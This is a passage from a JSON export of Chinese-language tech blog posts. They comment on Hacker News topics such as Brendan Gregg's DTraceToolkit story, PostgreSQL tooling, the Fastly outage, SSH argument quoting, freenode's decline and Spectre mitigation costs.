    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的熱門話題，<a href=\"https://brendangregg.com/\">Brendan Gregg</a> 是效能分析領域的大老，現在在 <a href=\"https://www.netflix.com/\">Netflix</a> 工作，在維基百科的條目「<a href=\"https://en.wikipedia.org/wiki/Brendan_Gregg\">Brendan Gregg</a>」上也有提到他的一些知名發明，像是 Flame Graphs：\r\n\r\n<blockquote>He has also created visualization types to aid performance analysis, including latency heat maps, utilization heat maps, subsecond offset heat maps, and flame graphs.</blockquote>\r\n\r\n昨天他發了一篇文章在講之間他遇到的事情，原文把過程寫的很有戲劇性，值得去看一看：「<a href=\"https://brendangregg.com/blog/2021-06-04/an-unbelievable-demo.html\">An Unbelievable Demo</a>」，而 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論也很精彩：「<a href=\"https://news.ycombinator.com/item?id=27390512\">An Unbelievable Demo (brendangregg.com)</a>」，還引出了 <a href=\"https://www.daemonology.net/\">Colin Percival</a> 也分享他的經驗。\r\n\r\n快速講 Brendan Gregg 遇到的事情，2005 年時 Brendan Gregg 因為業務上的需要 (他當年是效能分析的顧問)，幫 <a href=\"https://en.wikipedia.org/wiki/Sun_Microsystems\">Sun</a> 推出的 <a href=\"https://en.wikipedia.org/wiki/DTrace\">DTrace</a> 寫了一包工具，叫做 <a href=\"https://brendangregg.com/dtracetoolkit.html\">DTraceToolkit</a>，用 <a href=\"https://en.wikipedia.org/wiki/GPLv2\">GPLv2</a> 或是 <a href=\"https://en.wikipedia.org/wiki/Common_Development_and_Distribution_License\">CDDL</a> 釋出。\r\n\r\n這包工具被 Sun 的人拿去用，並且拔掉作者與授權資訊，然後還被拿去「世界巡迴」介紹這個工具，最後在雪梨的時候居然是拿來介紹給 Brendan Gregg，然後被原作者打臉。\r\n\r\n不過他後來還是加入了 Sun... XDDD\r\n\r\nColin Percival 的故事則沒有牽扯到 copyright issue，不過也很有趣，這邊提到的是 <a href=\"https://www.daemonology.net/bsdiff/\">bsdiff</a>，也是個經典的工具：\r\n\r\n<blockquote>Reminds me of when Apple started providing \"smaller size updates\" to OS X. I was curious about the details since my doctorate had touched on the topic, so I worked my contacts (I had a few in Apple engineering from the FreeBSD / OS X relationship) and after a few months I got back as answer: \"We're using a tool called bsdiff, are you familiar with it?\" I was indeed, since I was the author of said tool.\r\n\r\n(Just to be clear, there was no license violation involved in this case; just a lack of awareness of the provenance of the open source software they were using.)</blockquote>\r\n\r\n另外在其他的 thread 裡面，可以看到 Brendan Gregg 也有浮上來回應 (可以直接字串搜尋 <code>brendangregg</code>)，裡面也提到了有趣的故事，像是他另外一個發明 latency heat map 在一些會場上的交流，以及自己也有遇到其他工具的作者：\r\n\r\n<blockquote>Thanks. There was a time when many observability products were adding latency heat maps, and at one conference expo floor there were three companies with latency heat maps on their screen at the same time, pitching them as a flagship feature. If I walked near them they'd start trying to explain them to me, and I never figured out an appropriate response. If I said \"hey, great to see you added them, I invented these back at Sun\" I'd get funny looks.\r\n\r\nI think it's a small world, and everything is software, so the chance you'll bump into someone who wrote software you are using I think is pretty high. I was once trying to get my head around Andi Kleen's pmu-tools, and I had the github repo open in my browser on my laptop I was carrying, when the guy sitting next to me on a bus says he's Andi Kleen. (Ok, it was a bus taking Linux conference attendees to an event, not a random bus, but I still found it remarkable timing -- I was studying pmu-tools at that exact time!)</blockquote>\r\n\r\n拿來配啤酒的文章 XD",
    "title": "Brendan Gregg 遇到的 An Unbelievable Demo"
  },
  {
    "id": "10188",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://www.percona.com/\">Percona</a> 家老大貼他們自家 2019 年的舊文章：「<a href=\"https://www.percona.com/blog/2019/07/22/automatic-index-recommendations-in-postgresql-using-pg_qualstats-and-hypopg/\">Automatic Index Recommendations in PostgreSQL using pg_qualstats and hypopg</a>」。\r\n\r\n先說一下，因為要另外裝 extension，目前 <a href=\"https://aws.amazon.com/rds/\">Amazon RDS</a> 上面是沒辦法用的，但自己管理的 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 就可以考慮看看。\r\n\r\n看了一下文章裡面介紹的兩個 extension，一個是 <a href=\"https://github.com/HypoPG/hypopg\">HypoPG</a>，另外一個是 <a href=\"https://github.com/powa-team/pg_qualstats\">pg_qualstats</a>，看起來組合技可以提供不少有用的建議。\r\n\r\n目前只有針對 B-tree index 提供建議，但這應該已經相當足夠了，大多數的場景下應該都是用 B-tree：\r\n\r\n<blockquote>With this experiment, we see that we can use hypopg and pg_qualstats  to automate index recommendations. The automation logic is currently limited to B-Tree Indexes only.</blockquote>\r\n\r\n另外看 Percona 的 PostgreSQL 文章都會習慣翻了一下作者的背景 (之前被雷過)，看起來作者 <a href=\"https://twitter.com/AviVallarapu\">Avinash Vallarapu</a> 在今年年初已經離開 Percona，成立自己的公司 <a href=\"https://www.migops.com/\">MigOps</a> 提供 PostgreSQL 相關的服務了...",
    "title": "PostgreSQL 上可以列出建議增加 index 的 extension"
  },
  {
    "id": "10189",
    "body": "先前一直都有在盯著「<a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=669058\">Issue 669058: CSS selectors Level 4: support :has()</a>」這個，主要是有這個功能會對於很多應用很方便，無論是對 designer 在設計上，或是對 javascript developer 的操作。\r\n\r\n在 <a href=\"https://www.chromium.org/\">Chromium</a> 上對應的 commit 在「<a href=\"https://chromium.googlesource.com/chromium/src/+/1b3a56de114a90840edbb2a5f42b41408c563e37\">Supports :has() pseudo class matching</a>」這邊，可以看到目前只實做了一部分：\r\n\r\n<pre>So this CL only supports :has argument selectors starting with\r\ndescendant combinator. Argument selectors starting with other\r\ncombinators are not supported yet.\r\n - .a:has(.b)    : Supported\r\n - .a:has(&gt; .b)  : Not supported yet\r\n - .a:has(~ .b)  : Not supported yet\r\n - .a:has(+ .b)  : Not supported yet</pre>\r\n\r\n但至少是個進展了...",
    "title": "Chromium 看起來正在實做 CSS4 的 :has()"
  },
  {
    "id": "10190",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=27444005\">Summary of June 8 outage (fastly.com)</a>」這邊的討論，連結是 <a href=\"https://www.fastly.com/\">Fastly</a> 官方先發布的說明：「<a href=\"https://www.fastly.com/blog/summary-of-june-8-outage\">Summary of June 8 outage</a>」。\r\n\r\n其中提到了是因為客戶的某些設定造成的：\r\n\r\n<blockquote>10:27 Fastly Engineering identified the customer configuration</blockquote>\r\n\r\n另外特別提到了 Fastly 的 WebAssembly 與 Compute@Edge，看起來應該就是這邊炸鍋：\r\n\r\n<blockquote>Broadly, this means fully leveraging the isolation capabilities of WebAssembly and Compute@Edge to build greater resiliency from the ground up. We’ll continue to update our community as we make progress toward this goal.</blockquote>\r\n\r\n我猜基本的資源保護機制應該有上 (像是在程式裡面自己 call 自己之類的，<a href=\"https://en.wikipedia.org/wiki/Fork_bomb\">Fork bomb</a> 之類的)，可能是這兩個東西互串的某些部份沒有保護到，就一路把資源吃完炸掉。\r\n\r\n看起來後續會有比較完整的報告，到時候再來看看會透露出多少東西...",
    "title": "Fastly 服務掛掉的事件"
  },
  {
    "id": "10192",
    "body": "<a href=\"https://www.hashicorp.com/\">HashiCorp</a> 的東西都還蠻有品質的 (相較於其他的類似方案)，其中有一個觀察到的特性是，如果他門把版本維持在 0.x，代表他們自己對軟體的品質與成熟度都不算滿意。\r\n\r\n而 <a href=\"https://www.terraform.io/\">Terraform</a> 算是他們家對於基礎建設資源管理所提出的方案 (尤其是雲端時代的資源)，不過之前最頭痛的，每次升級就會發現有些基本的概念會被改掉，所以不是改改關鍵字就可以解決。\r\n\r\n這次 Terraform 推出 1.0 版，代表了他們認為產品有一定的成熟度：「<a href=\"https://www.hashicorp.com/blog/announcing-hashicorp-terraform-1-0-general-availability\">Announcing HashiCorp Terraform 1.0 General Availability</a>」，另外在 <a href=\"https://github.com/\">GitHub</a> 上面的「<a href=\"https://github.com/hashicorp/terraform/releases/tag/v1.0.0\">Release v1.0.0 · hashicorp/terraform</a>」也可以看到：\r\n\r\n<blockquote>Terraform v1.0 is an unusual release in that its primary focus is on stability, and it represents the culmination of several years of work in previous major releases to make sure that the Terraform language and internal architecture will be a suitable foundation for forthcoming additions that will remain backward compatible.</blockquote>\r\n\r\n另外也可以從他們對相容性的宣示「<a href=\"https://www.terraform.io/docs/language/v1-compatibility-promises.html\">Terraform v1.0 Compatibility Promises</a>」看出來他們覺得架構上成熟了：\r\n\r\n<blockquote>For all future minor releases with major version 1, we intend to preserve backward compatibility as described in detail in the Terraform v1.0 Compatibility Promises. The later Terraform v1.1.0 will, therefore, be the first minor release with new features that we will implement with consideration of those promises.</blockquote>\r\n\r\n總算是開始進入會考慮 backward compatibility 的週期了...",
    "title": "Terraform 進入 1.0 版"
  },
  {
    "id": "10193",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://engineering.theblueground.com/blog/zero-downtime-postgres-migration-done-right/\">Zero downtime Postgres migration, done right</a>」這篇，講 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 9.5 不停機的前提下升級到 12.5 的方式，而且是在 <a href=\"https://aws.amazon.com/rds/\">Amazon RDS</a> 上：\r\n\r\n<blockquote>We have successfully used this process to migrate our Postgres databases from version 9.5 to 12.5 on RDS, but the process isn’t restricted to RDS only, and does not depend on anything AWS specific.</blockquote>\r\n\r\n然後整個重點就在一張圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tKrBu14.webp\" /><img src=\"https://i.gslin.com/imgur/tKrBu14.png\" alt=\"\" /></picture>\r\n\r\n其實幾個 open source database 在這塊的基本概念都類似，用 replication 的技巧升級。\r\n\r\n這邊作者選的是用 <a href=\"https://bucardo.org/Bucardo/\">Bucardo</a> 同步資料，然後舊的與新的 replication 都是雙向的，這樣在切換應用程式的時候就比較不會有時間差的問題。\r\n\r\n這邊值得說的是，PostgreSQL 10 (2017 年十月出) 之後因為有了 logical replication，這種不停機持續性的 replication 選擇就變多了，不一定要用 trigger-based replication。作者這邊應該是因為 PostgreSQL 9.5 的關係，所以需要挑了 Bucardo。\r\n\r\n另外一個重點是，如果你可以允許短時間的停機 (十分鐘之類的)，那就可以改用單向的 replication 升級。因為你可以先停掉舊的資料庫，確保所有的資料都已經更新到新的資料庫，再把應用程式切換到新的資料庫上。\r\n\r\n而這套方法如同作者說的，不限於 <a href=\"https://aws.amazon.com/\">AWS</a> 家的產品，其他家也可以使用類似的方法，在傳統實體機房也可以這樣做。\r\n\r\n另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=27473788\">Zero downtime Postgres migration, done right (theblueground.com)</a>」很正常的又在戰 <a href=\"https://dev.mysql.com/\">MySQL</a> 在這塊的成熟度好太多，看看就好 XDDD",
    "title": "Amazon RDS 上 PostgreSQL 的不停機升級"
  },
  {
    "id": "10194",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到一篇講 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 做 Job Queue、Application Lock 以及 Pub/Sub 的方法：「<a href=\"https://spin.atomicobject.com/2021/02/04/redis-postgresql/\">Do You Really Need Redis? How to Get Away with Just PostgreSQL</a>」，對應的討論在「<a href=\"https://news.ycombinator.com/item?id=27482243\">Do you really need Redis? How to get away with just PostgreSQL (atomicobject.com)</a>」這邊可以翻到。\r\n\r\n拿 PostgreSQL 跑這些東西的確有點浪費，不過如果是自己的專案，不想要把 infrastructure 搞的太複雜的話，倒是還不錯。\r\n\r\n首先是 Job Queue 的部份，從他的範例看起來他是在做 async job queue (不用等回傳值的)，這讓我想到很久前寫的 queue service (應該是 2007 年與 2012 年都寫過一次)，不過我是用 <a href=\"https://dev.mysql.com/\">MySQL</a> 當作後端，要想辦法降低 InnoDB 的 lock 特性。\r\n\r\nasync job queue 設計起來其實很多奇怪的眉角，主要就是在怎麼處理失敗的狀態。大多數的需求可以放到兩個種類，最常見用的是 at-least-once，保證最少跑一次，大多數從設計上有設計成 <a href=\"https://en.wikipedia.org/wiki/Idempotence\">idempotence</a> 的都可以往這類丟，像是報表類的 (重複再跑一次昨天的報表是 OK 的)，另外每天更新會員狀態也可以放在這邊。\r\n\r\n另外少見一點的是 at-most-once 與 exactly-once，最多只跑一次與只跑一次，通常用在不是 idempotence 的操作上，像是扣款之類的，這邊的機制通常都會跟商業邏輯有關，反正不太好處理...\r\n\r\n第二個是 Application Lock，跨機器時的 lock 機制，量沒有很大時拿 PostgreSQL 跑還行，再大就要另外想辦法了，馬上想到的是 <a href=\"https://zookeeper.apache.org/\">ZooKeeper</a>，但近年設計的系統應該更偏向用 <a href=\"https://etcd.io/\">etcd</a> 與 <a href=\"https://www.consul.io/\">Consul</a> 了...\r\n\r\n最後提到的 Pub/Sub，一樣是在量大的時候拿 PostgreSQL 跑還行，更大的時候就要拿 <a href=\"https://kafka.apache.org/\">Kafka</a> 這種專門為了效能而設計出來的軟體出來用...",
    "title": "PostgreSQL 的 Job Queue、Application Lock 以及 Pub/Sub"
  },
  {
    "id": "10195",
    "body": "昨天在 <a href=\"https://news.ycombinator.com/item?id=27483077\">Hacker News</a> 首頁上看到「<a href=\"https://www.chiark.greenend.org.uk/~cjwatson/blog/ssh-quoting.html\">SSH quoting</a>」這個，看得出來作者被 <a href=\"https://www.openssh.com/\">OpenSSH</a> 玩弄到不要不要的樣子...\r\n\r\n先簡單的整理一下：\r\n\r\n<pre>\r\n$ ssh example.com 'cd /tmp; pwd'\r\n/tmp\r\n$ ssh example.com 'bash -l -c \"cd /tmp; pwd\"'\r\n/tmp\r\n$ ssh example.com bash -l -c \"cd /tmp; pwd\"  \r\n/home/gslin\r\n</pre>\r\n\r\n第三個指令發生的「預期外的行為」，但寫習慣的人會把指令全部包成一個字串，就很自然的避開這個問題了。當然 OpenSSH 的設計 (讓你不用加 quote 也會動) 的確也是容易中獎的點啦...",
    "title": "SSH 對傳入參數的 quoting"
  },
  {
    "id": "10196",
    "body": "看到「<a href=\"https://linux.chat/linux-on-freenode/\">Last remaining &gt;1000 user community channel seized by freenode staff</a>」這篇，<a href=\"https://freenode.net/\">freenode</a> 把 ##linux 頻道給綁走了：\r\n\r\n<blockquote>Late in the evening of June 12, 2021, freenode staff seized the largest community channel left on freenode.</blockquote>\r\n\r\n新家在 <a href=\"https://libera.chat/\">Libera.Chat</a> 上面：\r\n\r\n<blockquote>Similar hostile takeovers happened to the Python community, GNU and the FSF. More than 700 FLOSS projects have abandoned freenode and now the Linux.Chat community has left as well; find our new home at #linux on Libera and our multi-platform community website <a href=\"https://linux.chat/\">here</a>.</blockquote>\r\n\r\n翻了一下「<a href=\"https://netsplit.de/networks/top10.php\">IRC Networks - Top 10 in the annual comparison</a>」這邊的資料，看起來這個月月底有機會交叉？\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/r5NhxIR.webp\" /><img src=\"https://i.gslin.com/imgur/r5NhxIR.png\" alt=\"\" /></picture>\r\n\r\n另外文章裡有提到 OFTC (<a href=\"https://www.oftc.net/\">The Open and Free Technology Community</a>)，看起來也是個對 open source community 開放的資源...",
    "title": "freenode 又在提醒大家搬到 Libera.Chat 了..."
  },
  {
    "id": "10197",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的用法，把 <a href=\"https://en.wikipedia.org/wiki/SHA-256\">SHA-256</a> 的值表示成 avatar：「<a href=\"https://francoisbest.com/posts/2021/hashvatars\">Representing SHA-256 Hashes As Avatars</a>」，Hacker News 上的討論在「<a href=\"https://news.ycombinator.com/item?id=27534379\">Representing SHA-256 Hashes as Avatars (francoisbest.com)</a>」這邊可以看到。\r\n\r\n做出來大概是這樣，這邊的 <code>e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855</code> 是空字串的 SHA-256 值：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3MXu5Uw.webp\" /><img src=\"https://i.gslin.com/imgur/3MXu5Uw.png\" alt=\"\" /></picture>\r\n\r\n裡面有提到一些演算法，讓圖片看起來不要那麼「奇怪」，還蠻有趣的...\r\n\r\n在文章最後面還有一些其他的圖片類型，如果要自己搞 avatar service 的人可以參考演算法的部份，自己搞一套出來玩。",
    "title": "用圖片表示 SHA-256 的值"
  },
  {
    "id": "10198",
    "body": "前幾天 <a href=\"https://daniel.haxx.se/\">Daniel Stenberg</a> (<a href=\"https://curl.se/\">cURL</a> 的發明人與現在的維護者) 發表一篇從 <a href=\"https://travis-ci.com/\">Travis CI</a> 搬出來的文章，換到 <a href=\"https://zuul-ci.org/\">Zuul CI</a> 與 <a href=\"https://circleci.com/\">Circle CI</a> 上：「<a href=\"https://daniel.haxx.se/blog/2021/06/14/bye-bye-travis-ci/\">Bye bye Travis CI</a>」，對應的 Hacker News 的討論可以在「<a href=\"https://news.ycombinator.com/item?id=27511312\">Bye Bye Travis CI (haxx.se)</a>」這邊翻到。\r\n\r\n文章裡提到主要的兩個點是，Travis CI 當初有承諾會提供免費服務給 open source project：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Y1kJb6f.webp\" /><img src=\"https://i.gslin.com/imgur/Y1kJb6f.png\" alt=\"\" /></picture>\r\n\r\n今年的時候整個 Travis CI 的商業收費的機制改了，另外也嚴格增加了對 open source project 的限制，包括了你不能收到任何商業公司或是任何組織的贊助：\r\n\r\n<blockquote>Project must not be sponsored by a commercial company or organization (monetary or with employees paid to work on the project)</blockquote>\r\n\r\n另外 Daniel Stenberg 在文章裡也表明目前不打算付錢，要找市場上便宜可用的方案 (而目前看起來還有，至少 Zuul CI 與 Circle CI 都在選項內)，所以就從 Travis CI 搬離了：\r\n\r\n<blockquote>Lots of people have commented and think I’m “whining” about Travis CI charging for something that is useful and that I should rather just pay up. I could probably have gone with that but I dislike their broken promise and that they don’t consider us Open source anymore and I feel I have a responsibility to use the funds we get from gracious donors as wisely and economically as possible, and that includes using no-cost or cheap services rather than services charging thousands of dollars per year.\r\n\r\nIf there really were no other available and viable options, then paying could’ve been an alternative. Now, moving on to something else was the right choice for us.</blockquote>\r\n\r\n然後 Travis CI 過了兩天丟出「<a href=\"https://blog.travis-ci.com/2021-06-16-ibm-aws\">Open Source Terms at Travis CI – An Update and Clarification</a>」，雖然沒有表明是在講 cURL，但放在一起看其實也都大概知道發生什麼事情。\r\n\r\n看了一下自己的小專案 (更新頻率不高，test case 也不多)，丟 Circle CI 還算是夠用，另外自己也有弄個 <a href=\"https://about.gitlab.com/\">GitLab</a>，需要的時候也可以在上面跑 CI。\r\n\r\n這邊另外看到 cURL 這種大型專案，因為 test case 數量很多，丟到不同的 CI vendor 上跑，看起來是個還不錯的架構...",
    "title": "cURL 與 Travis CI 的事件"
  },
  {
    "id": "10200",
    "body": "這應該是 <a href=\"https://aws.amazon.com/\">AWS</a> 被許多大客戶敲碗許久的功能之一，<a href=\"https://aws.amazon.com/kms/\">AWS KMS</a> 支援 global key：「<a href=\"https://aws.amazon.com/blogs/security/encrypt-global-data-client-side-with-aws-kms-multi-region-keys/\">Encrypt global data client-side with AWS KMS multi-Region keys</a>」。\r\n\r\n以前不支援這個功能時，在加密儲存跨區域的資料會有兩種作法，以 <code>us-east-1</code> 與 <code>ap-northeast-1</code> 為例子來說：\r\n\r\n第一種是透過 replication 的概念，檔案內容從 <code>us-east-1</code> 解開後，透過 TLS 傳到 <code>ap-northeast-1</code> 再加密，所以不同區的密文內容是不同的。\r\n\r\n第二種是自己抽象一層 AES key，檔案內容都用這把 AES key 加解密，而這把 AES key 則透過不同區的 AWS KMS 保護，但這樣做又要自己搞 key rotation，另外還可能會有 auditing 的問題...\r\n\r\n現在 AWS KMS 直接支援就省事很多了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3FBGy6L.webp\" /><img src=\"https://i.gslin.com/imgur/3FBGy6L.png\" alt=\"\" /></picture>\r\n\r\n文章裡面是拿 <a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a> 當範例，不過其他只要能夠用 AWS KMS 應用應該也能用。",
    "title": "AWS KMS 推出 Multi-region keys"
  },
  {
    "id": "10201",
    "body": "Work from home 期間開會基本上就是幾個視訊軟體換來換去，<a href=\"https://zoom.us/\">Zoom</a> 的話公司有買，自己開免費版的時候是 40mins 限制，另外 <a href=\"https://slack.com/\">Slack</a> 的畫面品質不怎麼樣，而 <a href=\"https://meet.google.com/\">Google Meet</a> 在疫情期間不限制時間，拿來聊天還蠻好用的。\r\n\r\n看到「<a href=\"https://workspaceupdates.googleblog.com/2021/06/tls-support-for-google-meet.html\">TLS support for Google Meet</a>」這篇，文章裡面提到先前 Google Meet 是用 443/udp 跑 <a href=\"https://en.wikipedia.org/wiki/Secure_Real-time_Transport_Protocol\">SRTP</a>，這對很多公司的 firewall 需要另外開 (看到這個 UDP port 想到 <a href=\"https://en.wikipedia.org/wiki/QUIC\">QUIC</a> 好像也是走這個 UDP port)，在家裡的話應該還好，對於公司的電腦就會麻煩一些。\r\n\r\n文章裡提到，這次支援了 TLS (over 443/tcp)：\r\n\r\n<blockquote>Some network setups do not work with SRTP over 443 which was preventing Meet calls from connecting. Meet now encapsulates SRTP in TLS which increases overall compatibility. This change will initially be available on the web, and will be available for mobile soon. We’ll announce it on the Google Workspace Updates blog when it’s available.</blockquote>\r\n\r\n可以 fallback 回 443/tcp 走 TLS 的話穿透力應該就更好了，不過不知道免費版的有沒有也一起上，這邊只題到了 G Suite 系列會上：\r\n\r\n<blockquote>Available to all Google Workspace customers, as well as G Suite Basic and Business customers</blockquote>\r\n\r\n上次用 Google Meet 是在雲端聚餐聊天...",
    "title": "Google Meet 可以走 443/tcp 了"
  },
  {
    "id": "10203",
    "body": "前幾天在「<a href=\"https://blog.gslin.org/archives/2021/06/15/10196/freenode-%e5%8f%88%e5%9c%a8%e6%8f%90%e9%86%92%e5%a4%a7%e5%ae%b6%e6%90%ac%e5%88%b0-libera-chat-%e4%ba%86/\">freenode 又在提醒大家搬到 Libera.Chat 了...</a>」這邊猜測這個月月底大概會有交叉，結果發現這幾天 <a href=\"https://freenode.net/\">freenode</a> 選擇自爆，直接把上面的註冊使用者與頻道都清空：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Ha ha freenode appears to have just removed basically all registered nicks and channels</p>&mdash; Matthew Garrett (@mjg59) <a href=\"https://twitter.com/mjg59/status/1404607970030194689?ref_src=twsrc%5Etfw\">June 15, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這個自爆行為直接讓 <a href=\"https://libera.chat/\">Libera.Chat</a> 大幅成長，超越了目前的 freenode：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HJhAMOU.webp\" /><img src=\"https://i.gslin.com/imgur/HJhAMOU.png\" alt=\"\" /></picture>\r\n<small>出自「<a href=\"https://netsplit.de/networks/top10.php\">IRC Networks - Top 10 in the annual comparison</a>」</small>\r\n\r\n<a href=\"https://netsplit.de/\">netsplit.de</a> 上的資料看起來是某個比較長時間的平均值，會需要再拉長一些時間才會反應出來。",
    "title": "Libera.Chat 使用人數超越 freenode"
  },
  {
    "id": "10204",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到的文章，講 <a href=\"https://en.wikipedia.org/wiki/Spectre_(security_vulnerability)\">Spectre</a> Mitigation 的效能損失：「<a href=\"https://robert.ocallahan.org/2021/06/spectre-mitigations-murder-userspace.html\">Spectre Mitigations Murder *Userspace* Performance In The Presence Of Frequent Syscalls</a>」，對應的討論串在「<a href=\"https://news.ycombinator.com/item?id=27559795\">Spectre Mitigations Murder Userspace Performance (ocallahan.org)</a>」。\r\n\r\n看起來作者是在調校 <a href=\"https://rr-project.org/\">rr</a> 時遇到的問題，幾年前有提到過 rr：「<a href=\"https://blog.gslin.org/archives/2017/12/31/8016/microsoft-%e7%9a%84-ttd-%e8%88%87-mozilla-%e7%9a%84-rr/\">Microsoft 的 TTD 與 Mozilla 的 RR</a>」。\r\n\r\n對此作者對 rr 上了一個 patch，減少了 mitigation code 會在 syscall 時清掉 cache 與 TLB，這個 patch 讓執行的速度大幅提昇：「<a href=\"https://github.com/rr-debugger/rr/commit/99d3d4173badf63071eb05259e113dd3a398c5cb\">Cache access() calls to avoid syscalls</a>」。\r\n\r\n另外作者提到了他的硬體是 <a href=\"https://www.intel.com/\">Intel</a> 的 <a href=\"https://en.wikipedia.org/wiki/Skylake_(microarchitecture)\">Skylake</a>，他又再跑一次 pre-patch 與 post-patch 的速度，可以看到在 pre-patch 前，mitigation 會讓系統慢超多 (從 2m5.776s 到 3m19.648s)，而 post-patch 後大幅降低 syscall 的使用，就不會影響那麼多 (從 0m33.422s 到 0m36.160s)。\r\n\r\n就目前知道的 mitigation 方式來說，這個猜測應該是對的...",
    "title": "又再次看到了 Spectre Mitigation 的效能損失..."
  },
  {
    "id": "10205",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=27541339\">I wrote a children's book / illustrated guide to Apache Kafka (gentlydownthe.stream)</a>」這篇，用繪本的方式解釋 <a href=\"https://kafka.apache.org/\">Apache Kafka</a> 的運作方式：「<a href=\"https://www.gentlydownthe.stream/\">Gently Down the Stream</a>」，非常值得一看。\r\n\r\n以 Hacker News 上 upvote 的數量來看，應該也會上明天的 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a>。\r\n\r\n這繪本還帶有一些動畫效果，而且把需要提到的東西都有帶出來 (像是 Kafka Connector 都有提到)，不過雖然作者目標群是小朋友，看起來大人還比較興奮？",
    "title": "用繪本 (?!!!) 解釋 Apache Kafka"
  },
  {
    "id": "10206",
    "body": "也是在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到的資訊，<a href=\"https://www.starlink.com/\">Starlink</a> 的天線在五十度時會停機：「<a href=\"https://arstechnica.com/information-technology/2021/06/starlink-dish-overheats-in-arizona-sun-knocking-user-offline-for-7-hours/\">Starlink dishes go into “thermal shutdown” once they hit 122° Fahrenheit</a>」。\r\n\r\n這篇報導是出自 <a href=\"https://www.reddit.com/\">Reddit</a> 上的消息，苦主住在亞利桑那州，美國的南部地區，以緯度來說的話大概跟大阪差不多：「<a href=\"https://www.reddit.com/r/Starlink/comments/nzudxr/this_could_be_a_problem_only_noon_in_az/\">This could be a problem. Only noon in AZ...</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/O7MaMf3.webp\" /><img src=\"https://i.gslin.com/imgur/O7MaMf3.png\" alt=\"\" /></picture>\r\n\r\nReddit 的討論裡面有提到用撒水的方式降溫，但這樣對熱帶與亞熱帶地區好像不太友善啊，陽光大一點應該就會過熱？看起來是個得改善的點了...",
    "title": "Starlink 的天線在五十度時會過熱停機"
  },
  {
    "id": "10207",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://zenodo.org/record/4008297\">CatMeows: A Publicly-Available Dataset of Cat Vocalizations</a>」這個，貓叫聲的 dataset... 對應的討論在「<a href=\"https://news.ycombinator.com/item?id=27556544\">CatMeows: A Publicly-Available Dataset of Cat Vocalizations (2020) (zenodo.org)</a>」這邊。\r\n\r\n包括了三種聲音 XDDD\r\n\r\n<ol>\r\n\t<li>Brushing - Cats were brushed by their owners in their home environment for a maximum of 5 minutes;</li>\r\n\t<li>Isolation in an unfamiliar environment - Cats were transferred by their owners into an unfamiliar environment (e.g., a room in a different apartment or an office). Distance was minimized and the usual transportation routine was adopted so as to avoid discomfort to animals. The journey lasted less than 30 minutes and cats were allowed 30 minutes with their owners to recover from transportation, before being isolated in the unfamiliar environment, where they stayed alone for maximum 5 minutes;</li>\r\n\t<li>Waiting for food - The owner started the routine operations that preceded food delivery in the usual environment the cat was familiar with. Food was given at most 5 minutes after the beginning of the experiment.</li>\r\n</ol>\r\n\r\n嚕貓，焦慮與等待餵食？好像是可以想到這組 dataset 的用途...",
    "title": "貓叫聲的 Dataset"
  },
  {
    "id": "10208",
    "body": "前陣子在「<a href=\"https://blog.gslin.org/archives/2021/06/08/10189/chromium-%e7%9c%8b%e8%b5%b7%e4%be%86%e6%ad%a3%e5%9c%a8%e5%af%a6%e5%81%9a-css4-%e7%9a%84-has/\">Chromiu 看起來正在實做 CSS4 的 :has()</a>」這邊提到了 <a href=\"https://www.chromium.org/\">Chromium</a> 的 <code>:has()</code> 實做，對應的票在「<a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=669058\">Issue 669058: CSS selectors Level 4: support :has()</a>」這邊，不過看起來當時沒有實做完整，而且有測出問題：\r\n\r\n<pre>\r\nThe following css/selectors  web tests are failing on below platform:\r\n\r\ncss/selectors/has-basic.html - Failing on chrome/edge/firefox/safari/webkit\r\ncss/selectors/parsing/parse-has.html - Failing on chrome/edge/firefox/safari/webkit\r\n</pre>\r\n\r\n昨天又看到新進度了：「<a href=\"https://chromium.googlesource.com/chromium/src/+/3e62eccbc284cb756740b11dead0302f5f28fab9\">Supports all ':has' relative argument cases</a>」。\r\n\r\n<pre>\r\nSupports all ':has' relative argument cases\r\n\r\nCurrently the relative selector is not supported yet, so this CL\r\nprovides the relative argument cases as follows.\r\n - :has(:scope &gt; &lt;complex-selector&gt;)\r\n - :has(:scope ~ &lt;complex-selector&gt;)\r\n - :has(:scope + 